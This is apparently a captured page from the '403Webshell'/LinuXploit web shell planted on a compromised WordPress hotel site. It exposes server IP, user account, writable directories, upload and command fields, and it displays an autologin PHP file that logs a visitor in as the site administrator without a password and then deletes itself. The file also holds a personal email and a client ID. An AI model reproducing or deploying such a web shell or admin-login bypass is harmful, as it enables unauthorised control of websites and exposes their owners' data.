403Webshell
Server IP : 89.108.64.180  /  Your IP : 216.73.217.117
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux 89-108-64-180.cloudvps.regruhosting.ru 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-root ( 1010)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/gradhotel.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/gradhotel.com/create_autologin_4hzledkwy04izvx.php
<?php

$email = 'floranzz1@gmail.com';
$redirect_location = 'hpanel';
$client_id = '32221816';
$acting_client_id = '';

$data = [
    'email' => $email,
    'redirect_location' => $redirect_location,
    'client_id' => $client_id,
    'acting_client_id' => $acting_client_id,
    'autologin_file' => __FILE__,
];

function auto_login( $args ) {
    if ( ! is_user_logged_in() ) {
        $user_id       = get_user_id( $args['email'] );
        $user          = get_user_by( 'ID', $user_id );

        $redirect_page = get_login_link($args['redirect_location'], $args['client_id'], $args['acting_client_id']);
        if ( ! $user ) {
            wp_redirect( $redirect_page );
            exit();
        }
        $login_username = $user->user_login;
        wp_set_current_user( $user_id, $login_username );
        wp_set_auth_cookie( $user_id );
        do_action( 'wp_login', $login_username, $user );
        // Go to admin area
        $args['redirect_page'] = $redirect_page;
        do_action( 'hostinger_autologin', $args );

        wp_redirect( $redirect_page );
        exit();
    }
}

/**
 * @param string $email
 * @return void
 */
function get_user_id( $email )
{
    $admins = get_users( [
        'role' => 'administrator',
        'search' => '*' . $email . '*',
        'search_columns' => ['user_email'],
    ] );
    if (isset($admins[0]->ID)) {
        return $admins[0]->ID;
    }

    $admins = get_users( [ 'role' => 'administrator' ] );
    if (isset($admins[0]->ID)) {
        return $admins[0]->ID;
    }

    return null;
}

// Initialize WordPress
define( 'WP_USE_THEMES', true );
$timeSinceScriptCreation = time() - stat( __FILE__ )['mtime'];
// Delete itself to make sure it is executed only once
unlink( __FILE__ );
if ( ! isset( $wp_did_header ) ) {
    $wp_did_header = true;
    // Load the WordPress library.
    require_once( dirname( __FILE__ ) . '/wp-load.php' );
    add_filter( 'option_active_plugins' , function ( $plugins ) {

        return array_filter( $plugins , function ( $item ) {
            return strpos( $item, 'hostinger' ) !== false;
        });
    });

    if ( is_user_logged_in() ) {
        $redirect_page = get_login_link($redirect_location, $client_id, $acting_client_id);

        $data['redirect_page'] = $redirect_page;
        do_action( 'hostinger_autologin_user_logged_in', $data );

        wp_redirect( $redirect_page );
        exit();
    }

    if ( $timeSinceScriptCreation < 900 ) {
        auto_login($data);
    }

    wp();
    // Load the theme template
    require_once( ABSPATH . WPINC . '/template-loader.php' );
}

function get_login_link( $redirect_location, $client_id, $acting_client_id )
{
    $query_args = [
        'platform' => $redirect_location,
    ];

    if (!empty($client_id)) {
        $query_args['client_id'] = $client_id;
    }

    if (!empty($acting_client_id)) {
        $query_args['acting_client_id'] = $acting_client_id;
    }

    return add_query_arg($query_args, admin_url());
}

Youez - 2016 - github.com/yon3zu
LinuXploit